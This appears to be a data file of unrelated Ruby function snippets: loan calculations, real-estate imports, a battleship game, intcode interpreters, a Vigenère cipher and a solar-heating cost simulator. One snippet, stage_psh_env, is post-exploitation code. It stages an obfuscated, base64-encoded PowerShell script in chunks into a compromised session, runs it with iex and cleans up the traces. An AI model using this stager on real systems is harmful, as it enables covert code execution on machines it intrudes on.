#-----------------------------------------------------------------\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el monto solicitado en la solicitud\n # # Luis Rojas / Alexander Cioffi 14/03/2012 y 15/03/2012\n # #-----------------------------------------------------------------\n\n # @solicitud.monto_solicitado = prestamo.monto_banco + prestamo.monto_insumos + prestamo.monto_sras_total + prestamo.monto_gasto_total\n # @solicitud.monto_aprobado = @solicitud.monto_solicitado\n # @solicitud.save\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el monto solicitado en la solicitud\n # #-----------------------------------------------------------------\n\n # prestamo.save\n # logger.info \"Save despues de insert #{prestamo.errors.full_messages.to_s}\"\n\n # if prestamo.errors.size == 0\n # return true\n # else\n # return false\n # end\n\n # else\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n\n # logger.info \"Entro por else =======> #{@prestamo.inspect}\"\n # @prestamo.tasa_inicial = @tasa_valor.valor\n # @prestamo.tasa_vigente = @tasa_valor.valor\n # @prestamo.tasa_valor = @tasa_valor.valor\n # @prestamo.tasa_referencia_inicial = @tasa_valor.valor\n # @prestamo.tasa_id = tasa.id\n\n\n # # ------------------------------------\n # # Calculo del sras\n # # ------------------------------------\n\n # parametro = ParametroGeneral.find(1)\n # logger.info \"Parametro General =======> #{parametro.inspect}\"\n # logger.info \"Prestamo ================> #{prestamo.inspect}\"\n # factor_mensual_primer_ano = parametro.porcentaje_sras_primer_ano / 1200\n # factor_mensual_anos_siguen = parametro.porcentaje_sras_anos_subsiguientes / 1200\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # monto_banco = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'B'\")\n # monto_insumo = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'I'\")\n\n # plazo_total = @prestamo.plazo + @prestamo.meses_gracia\n\n # if plazo_total <= 12\n # sras_primer_ano = (monto_prestamo.to_f * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = 0.00\n # end\n\n # if plazo_total > 12\n # sras_primer_ano = (monto_prestamo.to_f * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = (monto_prestamo.to_f * factor_mensual_anos_siguen) * (plazo_total - 12)\n # end\n\n # sras_total = sras_primer_ano + sras_anos_siguen\n\n # @prestamo.monto_sras_primer_ano = sras_primer_ano\n # @prestamo.monto_sras_anos_subsiguientes = sras_anos_siguen\n # @prestamo.monto_sras_total = sras_total\n # @prestamo.monto_banco = monto_banco.to_f\n # @prestamo.monto_insumos = monto_insumo.to_f\n # @prestamo.monto_solicitado = monto_prestamo.to_f\n\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el total gastos en el prestamo\n # # Alexander Cioffi 14/03/2012\n # #-----------------------------------------------------------------\n\n # #logger.debug \"Rutina de Gastos al modificar el prestamo\"\n # @gastos = ProgramaTipoGasto.find_by_programa_id_and_tipo_gasto_id(@solicitud.programa_id, 1)\n # #logger.debug \"GASTOS==============> \"<<@gastos.inspect\n # total_gasto = 0.00\n\n # unless (@gastos.nil?)\n # if @gastos.porcentaje > 0\n # monto = ((@prestamo.monto_banco + @prestamo.monto_insumos)*(@gastos.porcentaje/100))\n # else\n # monto = @gastos.monto_fijo\n # end\n # total_gasto = monto\n # end\n # @prestamo.monto_gasto_total = total_gasto.to_f\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el total gastos en el prestamo\n # #-----------------------------------------------------------------\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el monto solicitado en la solicitud\n # # Luis Rojas / Alexander Cioffi 14/03/2012 y 15/03/2012\n # #-----------------------------------------------------------------\n # @solicitud.monto_solicitado = @prestamo.monto_banco + @prestamo.monto_insumos + @prestamo.monto_sras_total + @prestamo.monto_gasto_total\n # @solicitud.monto_aprobado = @solicitud.monto_solicitado\n # @solicitud.save\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el monto solicitado en la solicitud\n # #-----------------------------------------------------------------\n # @prestamo.save\n # logger.info \"Save despues de actualizacion #{@prestamo.errors.full_messages.to_s}\"\n # if @prestamo.errors.size == 0\n # return true\n # else\n # return false\n # end\n\n # end\n\n #end # ----> Fin Prestamo.transaction do\n \n end #===> Fin PlanInversion.transaction do\n\n rescue => detail\n\n logger.info \"Errorressssssss ====> #{@errores.to_s + detail.message + detail.backtrace.to_s}\"\n return @errores + detail.message\n end\n\n if @errores.empty?\n @errores = true\n end\n return @errores\n end",
"def import_bien b\n \n # Good location\n good_address = {}\n\tif b['LOCALISATION']['VISIBLE'].to_s == \"true\"\n\t\tloc = BienEmplacement.new\n\t\tloc.pays = \"France\"\n\t\tloc.code_postal = b['LOCALISATION']['CODE_POSTAL']\n\t\tloc.ville = b['LOCALISATION']['VILLE']\n\telse\n\t\tloc = nil\n\tend\n\n\t# Category & Transaction type\n\tcat_text = find_cat(b)\n if(cat_text.nil? or b[cat_text].nil?)\n\t Logger.send(\"warn\",\"[AC3] Categorie non connue pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\")\n\t @result[:description] << \"[AC3] Categorie non connue pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\"\n return\n end\n\tcat_root = b[cat_text]\n\tcat = BienType.find_or_create cat_text.up_first\n\t\n\tLogger.send(\"warn\",\"Categorie : #{cat_text}\")\n\t\n\tif !(b[\"VENTE\"].nil?)\n\t transaction_type = BienTransaction.where(:nom => 'Vente').first\n transactionTypeIndex = \"VENTE\"\n price = b[\"VENTE\"][\"PRIX\"]\n elsif !(b[\"LOCATION\"].nil?)\n transaction_type = BienTransaction.where(:nom => 'Location').first\n transactionTypeIndex = \"LOCATION\"\n b[\"LOCATION\"][\"PROVISION_SUR_CHARGES\"] ||= 0\n price = b[\"LOCATION\"][\"LOYER\"].to_i + b[\"LOCATION\"][\"PROVISION_SUR_CHARGES\"].to_i\n # elsif !(b[\"SAISONNIER\"].nil?)\n # transaction_type = Immo::TransactionType.get 'Saisonnier'\n # transactionTypeIndex = \"SAISONNIER\"\n # price = 0\n else\n\t Logger.send(\"warn\",\"[AC3] Type de transaction nul pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\")\n\t @result[:description] << \"[AC3] Type de transaction nul pour le bien ref : #{b[\"INFO_GENERALES\"][\"AFF_NUM\"]}\"\n return\n end\n\n\t# find if good already exist, unless create it\n\tref = b[\"INFO_GENERALES\"][\"AFF_NUM\"] \n\tnb = Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n nb = Bien.new if nb.nil?\n\n\tnb.is_accueil = false\n\t#nb.is_accueil = true if b[\"TEXTE_MAILING\"] && (b[\"TEXTE_MAILING\"].to_s.downcase =~ /.*virtual.*touch.*/)\n\t\n\t# update attributes\n\tnb.passerelle = @passerelle\n\tnb.reference = ref\n nb.bien_type = cat\n nb.bien_transaction = transaction_type\n nb.bien_emplacement = loc\n\t\n\tnb.nb_piece = cat_root['NBRE_PIECES'].to_i\n nb.nb_chambre = cat_root['NBRE_CHAMBRES'].to_i\n nb.surface = cat_root['SURFACE_HABITABLE'].to_i\n nb.surface_terrain = cat_root['SURFACE_TERRAIN'].to_i\n nb.titre = b['INTITULE']['FR']\n\t\n nb.prix = price\n nb.description = b['COMMENTAIRES']['FR']\n nb.valeur_dpe = cat_root['CONSO_ANNUEL_ENERGIE']\n\tnb.classe_dpe = cat_root['CONSOMMATIONENERGETIQUE']\n\tnb.valeur_ges = cat_root['VALEUR_GES']\n\tnb.class_ges = cat_root['GAZEFFETDESERRE']\n nb.statut = 'new'\n nb.save!\n\t\n\t# If new images : Drop old images, add current images\n if b['IMAGES'] && b['IMAGES']['IMG']\n # un-attach old\n\t nb.bien_photos.each{ |photo|\n\t\t photo.bien = nil\n\t\t photo.save!\n\t }\n pl = b['IMAGES']['IMG']\n \n # When there only exists a single image, +pl+ will directly be the hash\n pl = [pl] unless pl.kind_of? Array\n # Map photo-hashes to medias, filter out failures, and add medias to good\n\t number = 0\n pl.map { |p| import_remote_media(p,(number += 1),nb) }\n end\n nb.save!\n\n return true\n\n return\n end",
"def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\t@pusta.litera[a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\t@pusta.litera[a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\t@pusta.rysuj \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\t@pusta.rysuj \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"def prepara_palavra(palavra)\r\n\tusagi=[]\r\n\tfor t in 0..(palavra.length()-1)\r\n\t\tusagi.push(palavra[t])\r\n\tend\r\n\t#puts usagi\r\n\treturn usagi\r\nend",
"def programa ()\n puts (\"Introduceti numarul a:\")\n a=gets.chomp.to_f\n puts(\"Introduceti numarul b:\")\n b=gets.chomp.to_f\n puts(\"Introduceti eroarea\")\n eps=gets.chomp.to_f\n\n if ((functia(a)*functia(b))>0) #daca produsul este mai mare ca 0 datele nu sunt introduse corect si trebuie introduse din nou\n programa()\n else\n #apelarea functiilor ce calculeaza radacina\n inj_x, inj_f, inj_i =injumatatire(a,b,eps)\n tan_x, tan_f, tan_i =tangenta(a,b,eps)\n sec_x, sec_f, sec_i= secanta(a,b,eps)\n#afisarea rezultatului\n puts(\"Metoda injumatatirii: radacina functiei este #{inj_x}\",\"valoarea functiei este #{inj_f}\",\"a fost executat in #{inj_i} pasi\")\n puts(\"Metoda tangentei: radacina functiei este #{tan_x}\",\"valoarea functiei este #{tan_f}\",\"a fost executat in #{tan_i} pasi\")\n puts(\"Metoda tangentei: radacina functiei este #{sec_x}\",\"valoarea functiei este #{sec_f}\",\"a fost executat in #{sec_i} pasi\")\n#introducerea unui nou segment sau finisarea programei\n puts(\"doriti sa mai introduceti un segment? y/n\")\n rasp=gets.chomp\n while(rasp !=\"y\"&& rasp !=\"n\")\n puts \" introduceti sau y sau n\"\n rasp=gets.chomp\n end\n if rasp==\"y\"\n programa()\n else rasp==\"n\"\n puts \"La revedere\"\n end\n end\nend",
"def stage_psh_env(script)\n begin\n ps_script = read_script(script)\n encoded_expression = encode_script(ps_script)\n cleanup_commands = []\n # Add entropy to script variable names\n script_var = ps_script.rig.generate(4)\n decscript = ps_script.rig.generate(4)\n scriptby = ps_script.rig.generate(4)\n scriptbybase = ps_script.rig.generate(4)\n scriptbybasefull = ps_script.rig.generate(4)\n\n if encoded_expression.size > 14999\n print_error \"Script size: #{encoded_expression.size} This script requires a stager\"\n arr = encoded_expression.chars.each_slice(14999).map(&:join)\n print_good \"Loading #{arr.count} chunks into the stager.\"\n vararray = []\n arr.each_with_index do |slice, index|\n variable = ps_script.rig.generate(5)\n vararray << variable\n indexval = index + 1\n vprint_good \"Loaded stage:#{indexval}\"\n session.shell_command(\"$#{variable} = \\\"#{slice}\\\"\")\n cleanup_commands << \"Remove-Variable #{variable} -EA 0\"\n end\n\n linkvars = ''\n vararray.each { |var| linkvars << \" + $#{var}\" }\n linkvars.slice!(0..2)\n session.shell_command(\"$#{script_var} = #{linkvars}\")\n\n else\n print_good \"Script size: #{encoded_expression.size}\"\n session.shell_command(\"$#{script_var} = \\\"#{encoded_expression}\\\"\")\n end\n\n session.shell_command(\"$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))\")\n session.shell_command(\"$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\\\"$#{decscript}\\\")\")\n session.shell_command(\"$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) \")\n session.shell_command(\"$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))\")\n session.shell_command(\"([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex\")\n print_good \"Module loaded\"\n\n unless cleanup_commands.empty?\n vprint_good \"Cleaning up #{cleanup_commands.count} stager variables\"\n session.shell_command(cleanup_commands.join(';').to_s)\n end\n rescue Errno::EISDIR => e\n vprint_error \"Unable to upload script: #{e.message}\"\n end\n end",
"def import_bien b\n\t\t# Good location\n\t\tgood_address \t\t\t= {}\n\t\tloc \t\t\t\t\t= BienEmplacement.new\n\t\tloc.pays \t\t\t\t= \"France\"\n\t\tloc.code_postal \t\t= b[4]\t\n\t\tloc.ville \t\t\t\t= b[5]\n\n\t\ttransaction_type \t\t= BienTransaction.where(:nom => b[2].up_first).first\n\n\t\tref \t\t\t\t\t= b[1].to_s.downcase\n\n\t\tnb \t\t\t\t\t\t= Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\n\t\tnb \t\t\t\t\t\t= Bien.new if nb.nil?\n\n\t\tcat \t\t\t\t\t= BienType.find_or_create b[3].up_first\n\t\tdesc \t\t\t\t\t= b[20]\n\n\t\tnb.is_accueil \t\t\t= false\n\t\tnb.passerelle \t\t\t= @passerelle\n\t\tnb.reference \t\t\t= ref\n\t\tnb.bien_type \t\t\t= cat\n\t\tnb.bien_transaction \t= transaction_type\n\t\tnb.bien_emplacement \t= loc\n\t\tnb.nb_piece \t\t\t= b[17]\n\t\tnb.nb_chambre \t\t\t= b[18]\n\t\tnb.surface \t\t\t\t= b[15]\n\t\tnb.titre \t\t\t\t= b[19]\n\t\t\n\t\tif(!(transaction_type.nom =~ /Location/) || (b[12] && (b[12].upcase == \"OUI\")))\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i\n\t\telse\n\t\t\tnb.prix_hors_charges \t\t= b[10].to_i\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i + (b[22] != nil ? b[22].to_i : 0)\n\t\tend\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\n\t\tnb.honoraires_agence \t= b[14]\n\n\t\tnb.description \t\t\t= desc\n\n\t\tnb.valeur_dpe \t\t\t= b[175]\n\t\tnb.classe_dpe \t\t\t= b[176]\n\t\tnb.valeur_ges \t\t\t= b[177]\n\t\tnb.class_ges \t\t\t= b[178]\n\n\t\tnb.statut = 'new'\n\t\tnb.save!\n\n\t\t# Poliris pictures url/names are stored from entry 85 to 93 (1 based) - picture names are stored from 94 ot 102\n\t\tp_url_indexes = []\n\t\t9.times{ |i| \n\t\t\tp_url_indexes.push (84+i) if (b[84+i].kind_of? String) && !b[84+i].empty?\n\t\t}\n\t\tif !p_url_indexes.empty?\n\t\t\t# un-attach old\n\t\t\tnb.bien_photos.each{ |photo|\n\t\t\t\tphoto.bien = nil\n\t\t\t\tphoto.save!\n\t\t\t}\n\n\t\t\tnumber = 0\n\t\t\tp_url_indexes.each { |p| \n\t\t\t\tLogger.send(\"warn\", \"import_local_media(#{b[p].to_s}, #{(number)}, #{b[p+9].to_s})\")\n\t\t\t\timport_local_media(b[p].to_s, (number+=1), nb, b[p+9].to_s) \n\t\t\t}\n\n\t\t\tnb.save!\n\t\tend\n\n\t\treturn\n\tend",
"def SAC15=(arg)",
"def SAC04=(arg)",
"def run_program(intcode_program, noun, verb)\n program = intcode_program.clone.map(&:clone)\n program[1] = noun\n program[2] = verb \n program.each_slice(4) do |opcode, a, b, res|\n # puts \"#{opcode}, #{a}, #{b}, #{res}\"\n if opcode == 1\n program[res] = program[a] + program[b]\n elsif opcode == 2\n program[res] = program[a] * program[b]\n elsif opcode == 99\n break\n end\n end\n output = program[0]\n puts \"#{noun}, #{verb}, #{output}\"\n output\nend",
"def sub_vob _value=0\n send_cmd(\"sub_vob #{_value}\")\n end",
"def getFtLocus\n locustag = ARGV[1]\n protId = \"\"\n @gbkObj.each_cds do |ft|\n ftH = ft.to_hash\n ftloc = ft.locations\n if ftH[\"locus_tag\"][0].eql? locustag\n gene = []\n product = []\n gene = ftH[\"gene\"] if !ftH[\"gene\"].nil?\n product = ftH[\"product\"] if !ftH[\"product\"].nil?\n protId = ftH[\"protein_id\"][0] if !ftH[\"protein_id\"].nil?\n locustag = ftH[\"locus_tag\"][0] if !ftH[\"locus_tag\"].nil?\n if ftloc[0].strand == -1\n location = \"c#{ftloc[0].from}..#{ftloc[0].to}\"\n else\n location = \"#{ftloc[0].from}..#{ftloc[0].to}\"\n end\n dna = getDna(ft,@gbkObj.to_biosequence)\n seqout = dna.output_fasta(\"#{@accession}|#{location}|#{protId}|#{locustag}|#{gene[0]}|#{product[0]}\",60)\n puts seqout\n end\n end\n end",
"def SAC07=(arg)",
"def solve(a=nil, b=nil)\n program = @program.dup\n pointer = 0\n opcode = 0\n program[1] = a if a\n program[2] = b if b\n\n while (opcode != @STOP && pointer < program.length) do \n puts \"pointer: #{pointer}\" if @DEBUG\n opcode = program[pointer]\n a = 0\n b = 0\n c = 0\n\n # Check Immeidate Mode\n if(opcode.to_s.length > 2)\n opcode = opcode.to_s\n # need to parse that fancy code\n instruction = opcode[-2..-1].to_i\n puts \"instruction: #{instruction}\\nopcode: #{opcode}\" if @DEBUG\n \n if (opcode.length == 3)\n puts \"length: 3\" if @DEBUG\n c = opcode[0].to_i\n elsif (opcode.length == 4)\n puts \"length: 4\" if @DEBUG\n b = opcode[0].to_i\n c = opcode[1].to_i\n elsif (opcode.length == 5)\n puts \"length: 5\" if @DEBUG\n a = opcode[0].to_i\n b = opcode[1].to_i\n c = opcode[2].to_i\n end\n else\n puts \"opcode only: #{opcode}\" if @DEBUG\n instruction = opcode.to_i\n end\n\n if(instruction == @STOP)\n puts \"STOP\"\n break\n end\n\n puts \"a: #{a}\\nb: #{b}\\nc: #{c}\\n\" if @DEBUG\n \n if(instruction == @ADD || instruction == @MULTIPLY)\n position_a = program[pointer + 1].to_i\n position_a = program[position_a].to_i if c == 0\n\n position_b = program[pointer + 2].to_i\n position_b = program[position_b].to_i if b == 0\n\n position_c = program[pointer + 3].to_i #if a == 0\n #position_c = program[pointer + 3].to_i if a == 1\n \n if(instruction == @ADD)\n program[position_c] = position_a + position_b\n elsif(instruction == @MULTIPLY)\n program[position_c] = position_a * position_b\n end\n pointer += 4\n puts \"incrementing pointer by 4\" if @DEBUG\n end\n\n if(instruction == @READ)\n if (c == 0)\n puts \"\\nSTATUS: #{program[program[pointer + 1].to_i]}\\n\"\n else\n puts \"\\nSTATUS: #{program[pointer + 1]}\\n\"\n end\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n if(instruction == @STORE)\n print \"input: \"\n number = gets.strip\n target = program[pointer + 1].to_i\n program[target] = number.to_i\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n # only two params\n if(instruction == @JUMP_IF_TRUE)\n puts \"Jump if true\" if @DEBUG\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n unless program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # only two params\n if(instruction == @JUMP_IF_FALSE)\n puts \"Jump if false\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n \n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n if program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # four parameters\n if(instruction == @LESS)\n puts \"Less\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n if(program[first].to_i < program[second].to_i)\n program[third] = 1\n else\n program[third] = 0\n end\n\n pointer += 4\n end\n\n if(instruction == @EQUALS)\n puts \"Equals\" if @DEBUG\n\n first = pointer + 1\n first = program[pointer + 1].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n puts \"first: #{program[first]}, second: #{program[second]}\" if @DEBUG\n\n if(program[first].to_i == program[second].to_i)\n puts \"Setting #{third} to 1\" if @DEBUG\n program[third] = 1\n else\n puts \"Setting #{third} to 0\" if @DEBUG\n program[third] = 0\n end\n\n pointer += 4\n end\n gets if @DEBUG\n end\n return program[0]\n end",
"def agc_4(estatuto=nil)\n @pilaS << (@cuadruplos.count )\n @cuadruplos << Cuadruplo.new(\"GoF\",@pilaO.pop,[]) if estatuto == 'if'\n @cuadruplos << Cuadruplo.new(\"Go\",[],[]) if estatuto == 'else'\n @cuadruplos << Cuadruplo.new(\"GoF\",@pilaO.pop,[]) if estatuto == 'while'\nend",
"def des_cifra_vigenere(llave)\n claro = \"\"\n longitud = @texto.length\n @texto.chomp!\n 0.upto(longitud - 2) do |i|\n j = i % (llave.size)\n alfabeto_ver = corrimiento(llave[j])\n car_cifrado = \"\" << @texto[i]\n posicion = alfabeto_ver.index(car_cifrado)\n b = MINUSCULAS[posicion]\n claro.concat(b)\n end\n @manejador.guardar_archivo(\"#{VIG_DES}\", claro)\n puts claro\n end",
"def simulate\n #parámetros disponibles: tecnologia:int, consumo:double, consumo_electrico:double, cop:double, eficiencia:double, combustible:int, precio_combustible:double, precio_electricidad:double\n # superficie:double, superficie:double, superficie_lugar:int, unidad_consumo:int, unidad_consumo_electrico:int, unidad_precio_combustible:int,rubro:string\n # tecnologias: {1: UFPC, 2:FPC, 3:ETC, 4:PTC}\n # combustible: {1: CARBÓN, 2:DIESEL, 3:FUEL OIL N°6, 4:GNL, 5:GLP, 6:LEÑA, 7:PELETS_MADERA}\n # superficie_lugar: {1:techo, 2:suelo}\n # unidad_consumo: {1:ton/año, 2:kg/año, 3:litros/año, 4:m3/año}\n # unidad_consumo_electrico: {1:mW/año, 2:kW/año}\n # unidad_precio_combustible {1:$/ton, 2:$/kg, 3:$/lt, 4:$/m3}\n areas=Array.new\n ahorros=Array.new\n fracciones=Array.new\n precios=Hash.new\n precios[\"UFPC\"]=Array.new\n precios[\"FPC\"]=Array.new\n precios[\"ETC\"]=Array.new\n precios[\"PTC\"]=Array.new\n sim=params[\"simulacion\"] \n tir_esperada=0.1\n anos_evaluacion=10\n \n \n g_anual=1797 #kWh_año/m2\n \n region=sim[\"region\"]\n \n if datos_radiacion=Radiacion.where(:nombre_region=>region).first\n p \"long_sep= \"+datos_radiacion.long_sep.to_s\n if sim[\"longitud\"]>=datos_radiacion.long_sep\n g_anual=datos_radiacion.rad_cord.round(2)\n else\n g_anual=datos_radiacion.rad_costa.round(2)\n end\n end\n p \"g_anual=\"+g_anual.to_s\n \n latr = sim[\"latitud\"].to_f*Math::PI/180\n lonr = sim[\"longitud\"].to_f*Math::PI/180\n f_d=1/(Math.sin(Math::PI/2-latr.abs)/Math.tan(Math::PI/2-latr.abs-23.5*Math::PI/180)+Math.cos(Math::PI/2-latr.abs))\n datos_rubro=Rubro.where(:rubro_id=>sim[\"rubro\"]).first\n ases=Costo.where(:coef=>\"A\").first\n bses=Costo.where(:coef=>\"B\").first\n \n case sim[\"combustible\"].to_i #pci en kWh/kg, densidad en kg/m3\n when 1 #carbóns\n pci= 7.17\n when 2 #diesel\n pci= 11.95\n densidad = 840\n when 3 #fuel oil N°6\n pci= 11.22\n densidad = 946\n when 4 #GNL\n pci= 9.78\n densidad = 0.8\n when 5 #GLP\n pci= 13.14\n densidad = 550\n when 6 #leña\n pci= 3.61\n when 7 #pelets_madera\n pci= 5\n end\n \n case sim[\"unidad_consumo\"] #consumo en kWh_año\n when 1 #ton/año\n consumo=sim[\"consumo\"].to_f*pci*1000\n when 2 #kg/año\n consumo=sim[\"consumo\"].to_f*pci\n when 3 #litros/año\n consumo=sim[\"consumo\"].to_f*pci*densidad/1000\n when 4 #m3/año\n consumo=sim[\"consumo\"].to_f*pci*densidad\n end\n \n case sim[\"unidad_precio_combustible\"].to_i #precio en $/kg\n when 1 #$/ton\n precio=sim[\"precio_combustible\"].to_f/1000\n when 2 #$/kg\n precio=sim[\"precio_combustible\"].to_f\n when 3 #$/litros\n precio=sim[\"precio_combustible\"].to_f*1000/densidad\n when 4 #$/m3\n precio=sim[\"precio_combustible\"].to_f/densidad\n end\n \n precio_kwh=precio/pci\n \n demanda=consumo*datos_rubro.QQT*sim[\"eficiencia\"].to_f/100 #kWh_año\n \n superficie=[sim[\"superficie\"].to_f,demanda*0.8/(g_anual*0.5)].min\n \n p superficie\n \n areas[0]=0\n j=0\n for k in 0..9\n j=k+2\n #p fibonacci(j)\n areas[k+1]=superficie*fibonacci(j)/89\n end\n \n for i in 0..areas.count-1\n area=areas[i]\n \n area2=area*f_d\n g=g_anual*area2 #kWh_año/m2 neto del campo\n \n \n # PARA CALOR #####################\n fs_UFPC=fsc(g,demanda,datos_rubro.C_UFPC_B,datos_rubro.C_UFPC_C)\n fs_FPC=fsc(g,demanda,datos_rubro.C_FPC_B,datos_rubro.C_FPC_C)\n fs_ETC=fsc(g,demanda,datos_rubro.C_ETC_B,datos_rubro.C_ETC_C)\n fs_PTC=fsc(g,demanda,datos_rubro.C_PTC_B,datos_rubro.C_PTC_C)\n \n #p \"g=\"+g.to_s\n #p \"B_FPC=\"+datos_rubro.C_FPC_B.to_s\n #p \"C_FPC=\"+datos_rubro.C_FPC_C.to_s\n #p \"fs_UFPC=\"+fs_UFPC.to_s\n #p \"fs_FPC=\"+fs_FPC.to_s\n #p \"fs_ETC=\"+fs_ETC.to_s\n #p \"fs_PTC=\"+fs_PTC.to_s\n #p \"demanda=\"+demanda.to_s\n \n \n aporte_UFPC=fs_UFPC*demanda #kWh_año\n aporte_FPC=fs_FPC*demanda\n aporte_ETC=fs_ETC*demanda\n aporte_PTC=fs_PTC*demanda\n \n case sim[\"superficie_lugar\"].to_i\n when 1\n coef_suelo=1\n when 2\n coef_suelo=0.8\n end\n \n case sim[\"rubro\"]\n when 1330\n inv_UFPC=ases.m_inv_UFPC*area**bses.m_inv_UFPC\n inv_FPC=ases.m_inv_FPC*area**bses.m_inv_FPC*coef_suelo\n inv_UFPC=ases.m_inv_ETC*area**bses.m_inv_ETC*coef_suelo\n inv_UFPC=ases.m_inv_PTC*area**bses.m_inv_PTC*coef_suelo\n coef_mina=2.5\n else\n inv_UFPC=ases.inv_UFPC*area**bses.inv_UFPC*coef_suelo\n inv_FPC=ases.inv_FPC*area**bses.inv_FPC*coef_suelo\n inv_ETC=ases.inv_ETC*area**bses.inv_ETC*coef_suelo\n inv_PTC=ases.inv_PTC*area**bses.inv_PTC*coef_suelo\n coef_mina=1\n end\n \n mant_UFPC=ases.mant_UFPC*area**bses.mant_UFPC*coef_mina\n mant_FPC=ases.mant_FPC*area**bses.mant_FPC*coef_mina\n mant_ETC=ases.mant_ETC*area**bses.mant_ETC*coef_mina\n mant_PTC=ases.mant_PTC*area**bses.mant_PTC*coef_mina\n \n vol_acum=area2*75/1000\n acum=ases.acum*vol_acum**bses.acum\n \n inv_total_UFPC=inv_FPC*area2+acum*vol_acum\n inv_total_FPC=inv_FPC*area2+acum*vol_acum\n inv_total_ETC=inv_ETC*area2+acum*vol_acum\n inv_total_PTC=inv_PTC*area2+acum*vol_acum\n \n #p \"A=\"+ases.inv_FPC.to_s\n #p \"B=\"+bses.inv_FPC.to_s\n #p \"A_acu=\"+ases.acum.to_s\n #p \"B_acu=\"+bses.acum.to_s\n #p \"A_mant=\"+ases.mant_FPC.to_s\n #p \"B_mant=\"+bses.mant_FPC.to_s\n #p \"inv_FPC=\"+inv_FPC.to_s\n #p \"mant_FPC=\"+mant_FPC.to_s\n #p \"acum=\"+acum.to_s\n #p \"area=\"+area.to_s\n #p \"area2=\"+area2.to_s\n #p \"produccion=\"+aporte_FPC.to_s\n #p \"vol_acum=\"+vol_acum.to_s\n #p \"inversion=\"+inversion.to_s\n precio_UFPC=precio_E_ESCO(inv_total_UFPC,aporte_UFPC,mant_UFPC*area2.to_f,tir_esperada,anos_evaluacion)\n precios[\"UFPC\"].push precio_UFPC\n precio_FPC=precio_E_ESCO(inv_total_FPC,aporte_FPC,mant_FPC*area2.to_f,tir_esperada,anos_evaluacion)\n precios[\"FPC\"].push precio_FPC\n precio_ETC=precio_E_ESCO(inv_total_ETC,aporte_ETC,mant_ETC*area2.to_f,tir_esperada,anos_evaluacion)\n precios[\"ETC\"].push precio_ETC\n 